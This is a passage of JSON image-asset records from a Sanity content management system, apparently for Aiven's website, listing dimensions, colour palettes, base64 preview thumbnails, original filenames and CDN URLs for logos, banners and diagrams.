ehmvq+5w4p+RpyLyapfk2qXYXe1uKSFrp2VjUNYHZP2MbF6QXyl/A8FEBIVunF7FAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a3d0e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf5c15","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945604","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc379","foreground":"#000","population":0.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka Topics Catalog - Aiven - Social Media.png","path":"images/sczeoy4w/production/b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628.png","sha1hash":"b04ae645b3878f57f7cac9448bd2efca7ce8923b","size":174253,"uploadId":"DKdqOr5gIPI9s7YofJJYOKRCrBv4nl3c","url":"https://cdn.sanity.io/images/sczeoy4w/production/b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628.png"} {"_createdAt":"2022-06-16T22:53:46Z","_id":"image-b0a8b4e80acd4114ff1c47c9a5104d862e830951-126x35-svg","_rev":"0HOthdQkSgJdYc0C9vxTow","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:46Z","assetId":"b0a8b4e80acd4114ff1c47c9a5104d862e830951","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D96@BN}Z^5-CsV1N1a5*EgS1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6,"height":35,"width":126},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABR0lEQVQYlV2OTUuUYRiFX5UIozQRajGd69HXQfxIF7moJJKhXHneGRycheiAOkIkONNgI7oYlQxJhGgRQeCufX/IX6IrGXwEcXHBOYfDfZ9E+KHwU+HHwo+E+yN9wr2RJ8LPhN8IvxUeFH4u/EF4LurOjYGE4AIhq4SQlQheEF4VrgmvCFs4E16O+a5wU7gkXI6dsnAxdjYT4f0cPszJxy/wsfCp8E/hk6j/CP8VPhP+IXwkvCP8VfiLcEv4QPi78L8kHcqaY2mx/XKk1B5Ni/UQss66TfCacF34m24efRauCn8SXheuCC8Jbwg3OsPAv5KlV5WNk4/VvXOvbbULK++n8qV8Tk5DyIaFR4WnhGeE88Ih+glhhCWcCk8KvwbPJqfz1dZFbev3Vb2xf7ndmP5frj1Iegpd78YXu4W7Ivf1XX9LD2Td17i0aIUgKALxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#624236","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#241c64","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f17380","foreground":"#000","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca8486","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f17380","foreground":"#000","population":0.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d5e66","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6471","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Ometria.svg","path":"images/sczeoy4w/production/b0a8b4e80acd4114ff1c47c9a5104d862e830951-126x35.svg","sha1hash":"b0a8b4e80acd4114ff1c47c9a5104d862e830951","size":5862,"uploadId":"3ZrETDCnEPyIJMy5QuyvcFUAiPaEhzyp","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0a8b4e80acd4114ff1c47c9a5104d862e830951-126x35.svg"} {"_createdAt":"2023-04-19T10:06:00Z","_id":"image-b0dfc565945e0324045da0cefd0859cb8852d3e3-5760x1152-jpg","_rev":"nhj4h0WlhYHZ2WujrmOaF8","_type":"sanity.imageAsset","_updatedAt":"2023-04-19T10:06:00Z","assetId":"b0dfc565945e0324045da0cefd0859cb8852d3e3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"46SPeC~qHX_3Q+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5,"height":1152,"width":5760},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIECP/EABwQAAMAAQUAAAAAAAAAAAAAAAABAhESISJBUf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABcRAQEBAQAAAAAAAAAAAAAAAAEAESH/2gAMAwEAAhEDEQA/ANQxCnOnvckAU4WWoOU7vOXy9AAKuyhf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4666","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e224f","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f56817","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac0a8","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce661","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7454","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f56817","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-calendar.jpg","path":"images/sczeoy4w/production/b0dfc565945e0324045da0cefd0859cb8852d3e3-5760x1152.jpg","sha1hash":"b0dfc565945e0324045da0cefd0859cb8852d3e3","size":66893,"uploadId":"8RPpMqBgaOfWRrPBaXBz0scwKJN9VdRd","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0dfc565945e0324045da0cefd0859cb8852d3e3-5760x1152.jpg"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-b11662fc2c57f456870b656d04175ace409720b9-86x30-svg","_rev":"oamrAPLmQLQjd9jh7ZoFVS","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"b11662fc2c57f456870b656d04175ace409720b9","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5708Os@x4SHbVJ0bDojSaax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8666666666666667,"height":30,"width":86},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABTUlEQVQokTWSS0uWURSFPwgUpKBBrJciuglNRIdFGTmQp4uEQoNEuhCFQdGFoCAiosDULj4fSCbVLImgcQ2i39DIWT+hXxGntoPNWYezz1p777V7xDHiLuIQcYC4g3iGeIW4j67fI/ZIOwt39k51bqNzL3GYuJ94lni9JbwinieeI04SjxCvER8Tx0ugxU7iYIluJ+6hc5p4kXiS+JD4vRFuEr8QXxPvEh8R3xM3Cp8mTpXoCeKxEr9Uf97U2wPiz0b4h/iLuEa8TXxH/EH8TJT4kviC+Iy4WPhpdfahcOukiSw1wt/Er8S3lfSJ+I24SnxO/EhcJy4XQbsvVe5KjaZVPUKcboSt3TvEJ1XRVlU3iXPEW8T7xHvEq8T5mteNigXihSI83gibm0fLkBm6/hRdv83q8D+X/zt4kHiotmF3fT5AHCXO1lZMEC//BZxgsoX4AuSSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392c58","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#340488","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#392c58","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d0395","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a17dfb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#2d0395","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3404ac","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"kahoot.svg","path":"images/sczeoy4w/production/b11662fc2c57f456870b656d04175ace409720b9-86x30.svg","sha1hash":"b11662fc2c57f456870b656d04175ace409720b9","size":1953,"uploadId":"o64XjFYAOuySUfPwFM8ez3GID6JaBR9W","url":"https://cdn.sanity.io/images/sczeoy4w/production/b11662fc2c57f456870b656d04175ace409720b9-86x30.svg"} {"_createdAt":"2023-01-04T11:47:41Z","_id":"image-b1510915a81627a90a9a1b358dbab0dfc61326f6-2500x1625-jpg","_rev":"IiYi5XVNmR5WYQ23CjFPlQ","_type":"sanity.imageAsset","_updatedAt":"2023-01-04T11:53:03Z","altText":"Batch Processing vs. Real Time Processing","assetId":"b1510915a81627a90a9a1b358dbab0dfc61326f6","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5384615384615385,"height":1625,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAECAwQI/8QAHhABAAICAgMBAAAAAAAAAAAAAQARAgMSIRMiMTL/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A1BtMvI+1cvyXLB0AvcZrTYWhZ8hlqOWNKU3AkhExxMSiED//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e6e6e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a12c6b","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a12c6b","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4c7e0","foreground":"#000","population":0.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cd0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7b7c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8a42c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Moving_analytics_from_batch_to_real-time_diagram.jpg","path":"images/sczeoy4w/production/b1510915a81627a90a9a1b358dbab0dfc61326f6-2500x1625.jpg","sha1hash":"b1510915a81627a90a9a1b358dbab0dfc61326f6","size":266517,"title":"Build a robust, scalable architecture with the KFC stack","uploadId":"WjvyH7gEjtGbpUaIWYdFBoZBgnCTbbBn","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1510915a81627a90a9a1b358dbab0dfc61326f6-2500x1625.jpg"} {"_createdAt":"2023-03-02T09:39:36Z","_id":"image-b157c53361d4b5a5539bdc2a2ea7db154145a014-2500x1308-jpg","_rev":"zGsPSGo9JGPfNa4sHqeU9I","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T09:39:36Z","assetId":"b157c53361d4b5a5539bdc2a2ea7db154145a014","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75FhY.8MxRjf6?w%MM{Rja|xuofV@oej[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwf/xAAiEAABBAECBwAAAAAAAAAAAAACAAEDBBIFESEiMUFRUnH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgUG/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQAx/9oADAMBAAIRAxEAPwDHYdUqxVwAtPjI2bbN+6WvXQsBjFWihF/VuKVmfkD4q/C1AG0RXIxQoLqhGW//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503242","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e9fc1","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd6","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7594","foreground":"#fff","population":1.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34c51","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Get_monitoring _with Grafana_in_1-2-3_social_media.jpg","path":"images/sczeoy4w/production/b157c53361d4b5a5539bdc2a2ea7db154145a014-2500x1308.jpg","sha1hash":"b157c53361d4b5a5539bdc2a2ea7db154145a014","size":247850,"uploadId":"EIrc0CXTatG3zGYYFvzQJynThDFgXoJp","url":"https://cdn.sanity.io/images/sczeoy4w/production/b157c53361d4b5a5539bdc2a2ea7db154145a014-2500x1308.jpg"} {"_createdAt":"2022-06-15T20:02:49Z","_id":"image-b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEeLgF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:56Z","assetId":"b1dc5d2e28064fc9956214c3dcf671de97cd203f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQAw*}9G%MoLIV%jo$M{xsM~kZo#oLWAog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACt0lEQVQokV3S/VMLcBzA8W/lIdU8dRG6PB5qD2lbpSJ6ZBEphsulLGvPNkmr89SV9eTpbp6KHcl07ZjYJVZj5dAfwN/zdi0d+eF1n/v+8r77fO4rllVNsEIbQnIiRMLxyYj445PEVU8Qv0CQhKoPSCp8SDTPST76jI1aLxtPjZCs9ZNwLEDM4THEupogcmMYtW2aHPvXyMw0h1EYv5Bp/oLaGkZlDaM0h1AZx5HV+VDrXmHpHeeO9xu3vTPoesKk1gSI0owiUk6/Jcs0zj5HkIPOEOWtIYovBSmwf2SffZyy5k+UO4MUOsbYVT/MjpNPOGQfxuP/QXjmJ5Pff9EzNIO03o8oGkSsPeJBXusls/4V+UYfJRfeUGDysVs/jFrnJb9xmELLCKq6QdYcvMd6zW2qm15w40GAlluvaerxYe7yo6z1EJPfh4jdc5OVRd2sLupmTVkvGzR9JJf1kFTSRWKxi6QSF8mlLlbv72BJzhXWl3WibXrKuTYPuadcZGtvUnOpH02jm4TcNoTIcDAvKsMeIRQX5shtf1iJklsRMgtJe1uost7nTPMA8spO0iraqWsZoKH1MSmFzQiRbkCkNyLS5unn3hH6hdL0JOZdpNL6iNprfrLOvUR5dhBL9zs67vs5bHQjlsgaiFPoWKrQs1hhYJHcQLR0PnZ+YVBqRJJ7mYKGfqqvTZJlm4r8BMvdafpHpnA9DSESlTq2721gW5GdzaWtbCptJTHPEQmLtH+CUgNCYWeR2snWil72m0fINgbINQcwd7/nnucd192jiFUqPdsKTOw8cJn0iusoKttJLXayNMP0Nzg7Z4Ozd1TYkORcJLX0KlvKO8ir6cXR/hj3wBBd7iFEtHRu1dhdJuKUFpZn24hXWYmWzd7zv5X/iJLqiZHpic0wICtvxtn5kNH3YwQnPvMbsBrCmjKe3igAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52526a","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#063582","foreground":"#fff","population":11.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#063582","foreground":"#fff","population":11.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdc3","foreground":"#000","population":1.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96b4de","foreground":"#000","population":1.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7592","foreground":"#fff","population":2.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a54e7","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844.png","path":"images/sczeoy4w/production/b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844.png","sha1hash":"b1dc5d2e28064fc9956214c3dcf671de97cd203f","size":254773,"uploadId":"1pDMZUomhaa37Xu37Sk6V7XnJ48wxWj7","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844.png"} {"_createdAt":"2024-06-26T14:03:51Z","_id":"image-b22baabefef6ff83ad34693ccd6018798ee5687e-1200x628-png","_rev":"m4mXZHpK6l56U588DCL9oj","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T14:03:51Z","assetId":"b22baabefef6ff83ad34693ccd6018798ee5687e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27_5I-_Dg8w04~nEVt2Rf9i00Mt?cRs9D","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACl0lEQVQokS2SWU9aCRiGzx8Yk2mHRTlw2DmHvehhEUULSEH2nrrFWLuNSRt0WhUU2cSl2oW0o+mkc9O/+jSlXnx5L77kfZ+LR/hDp/HrJgwrBGYavN77zt7BD6KpLnrpDXppF4PtHUZ7k0lnG5O7j0XuE5w+orB0RLnQZzp+ikXujv/ChF7j3tQaRusmQXWXje0RT1/eEp3vYFXeYlUOsfmOsPtPcAQGOIND/DNNMunnvHqyzcGzt2xunBOaPcfk7iH8ObmKTXlBOLZLMt2iUD1juf6ehdyQZHrIXPaSZOaKuaWPJLMjYovXZPLvqBZr1NILbFdr/P2iSSp/gcV7hqAT1wmqb3iYb5Nd7pIrnZKvXFCoXVPSRpRXvlJeuaGy+o2i9h/Z0ohyfZ98Lk9I8ZKIxCmVnxFb7GL1f0DQmzeIJHZZKnbIlfsUaueUtCsqK5+orX6htnZDfeMb2uZ3qmv/kyn9SyrbYnrmEZJZQfbEURNbKJE2ku+uMBxrkP5FWOyRKw8pVC9Zrl+Tq3wgW/w4plqqfCVTukFNfUaJ9HAozzFbl7G5NVyBBpLSQZTPEf4S1/GGd4in9pl92GI23WYhN2Dx0RnqfJ+A2sWn9glEh/ijF8iRS7wz14QTVwSjPTyhY2y+Dhalh1keINw3ajht6wQCL/E+eI0cbqDOHzOXPSUUO8HmbWJyHTLlaiG6O1h9Q0KJzySzt0QXRvjUC5zBAXZ/D8nbR7inr2MXHyO7t3B4XyHJO4TjTZKZAcFoG0k+wGjfx2A/HHsmega4Qu/HlK7QKZJygtlzjOhpI8p9hAndY+4bNHSmNXTmTXTmbaYcO1g8DUTnHkb7P7/FdjSZuhNb9AzHOek4Gg8Z7AcYHS1MngE/AfJjcqH4ULU5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3150","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041567","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbed9","foreground":"#000","population":9.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbed9","foreground":"#000","population":9.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b81c3","foreground":"#fff","population":0.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6f8a","foreground":"#fff","population":5.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2684","foreground":"#fff","population":6.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"LARedoute2.png","path":"images/sczeoy4w/production/b22baabefef6ff83ad34693ccd6018798ee5687e-1200x628.png","sha1hash":"b22baabefef6ff83ad34693ccd6018798ee5687e","size":321749,"uploadId":"kl4zaMR2WVzPFZpF9UBfKCGWKbhURv6Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/b22baabefef6ff83ad34693ccd6018798ee5687e-1200x628.png"} {"_createdAt":"2023-11-01T10:43:34Z","_id":"image-b24e437a19c9bbfbbf2e35c85877e63d73d558f3-3450x1281-jpg","_rev":"yGYi2HTu7doJg1fO7gQKU9","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T10:43:34Z","assetId":"b24e437a19c9bbfbbf2e35c85877e63d73d558f3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D14-kqE-}%T0SY0cS$16wHRq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.693208430913349,"height":1281,"width":3450},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDCP/EAB0QAAICAgMBAAAAAAAAAAAAAAECAAMEERIhQSL/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAQACAgMAAAAAAAAAAAAAAAEAAgMRMUFR/9oADAMBAAIRAxEAPwDOVmKK1YGzkyEa0JCUKzryPyT2fYiNW/SRLYwNktbBqcljkBd+FSYiJOrvmKVr5P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f2d4b","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#083e7d","foreground":"#fff","population":3.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#964328","foreground":"#fff","population":3.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#783520","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3a996","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#706658","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#964328","foreground":"#fff","population":3.99,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-aiven-stage-frontview.jpg","path":"images/sczeoy4w/production/b24e437a19c9bbfbbf2e35c85877e63d73d558f3-3450x1281.jpg","sha1hash":"b24e437a19c9bbfbbf2e35c85877e63d73d558f3","size":175926,"uploadId":"JcDqyDI466ptqJIXEYSiEeEFIf9XbY5M","url":"https://cdn.sanity.io/images/sczeoy4w/production/b24e437a19c9bbfbbf2e35c85877e63d73d558f3-3450x1281.jpg"} {"_createdAt":"2024-01-26T12:51:30Z","_id":"image-b2769c0911c371542f20754aa77a70ec3b9ec654-1920x495-png","_rev":"lhvtNBOlLYH5KiQFQ5lt79","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T12:51:30Z","assetId":"b2769c0911c371542f20754aa77a70ec3b9ec654","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DjJ6[L5Y=?},j[EQs.I@R-a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.878787878787879,"height":495,"width":1920},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABd0lEQVQYlU3PPUtbYRgG4Fv8iFIEEdFowFgtWA3Sgg51EGpjcnLe5z45xnwoZsjQH1BcRRfRoQEnoba0g5NDqyBCKS7ve6ZS6OTm5NKhQ4cOhY7vUwSHDtcPuLBZLzRXy+YNKdsifExKtwhTJLtEBHHZdARhlGpt5FM3pwM96pBShy5v0ektoO4/FsCn11Pv9l8tfH3ZXD6Ly6YuwnFSHpF8SHIwoqRDE8001oK58/bk7N+rzllNkPUWGW8xrA6D6jDsLUbUYQi/Lnuvvn0YuTnYmr+uVUrt0ESLEWWJpJAskGJCw1q1Uqqf7E3Hf750x5og8BZFbxGqQ0EdiveeQxMc/zh/4I62576vV4PDIIwWypE8IRmQXCOlYQzj6mopfLubW/n9uWdFE0TeYsNbbKpDrA6BWrzwDst39/rtx/728U7ufbNRaOWL8VglDgdIZkRkipRpYzhRq5SyB1vz4z8v+rKa4Jm3yHuLp2ox6R0y6pD2DqP/AOkcm/yj8fOfAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f5c30","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#644607","foreground":"#fff","population":0.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bd06","foreground":"#000","population":6.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7e6f1a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4d47c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0895a","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bd06","foreground":"#000","population":6.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d990acca-838b-412f-a3fd-d48a6b663863.png","path":"images/sczeoy4w/production/b2769c0911c371542f20754aa77a70ec3b9ec654-1920x495.png","sha1hash":"b2769c0911c371542f20754aa77a70ec3b9ec654","size":24412,"uploadId":"GhmFK0QRI52iQnhtQSOtX7ixdxIBONnZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2769c0911c371542f20754aa77a70ec3b9ec654-1920x495.png"} 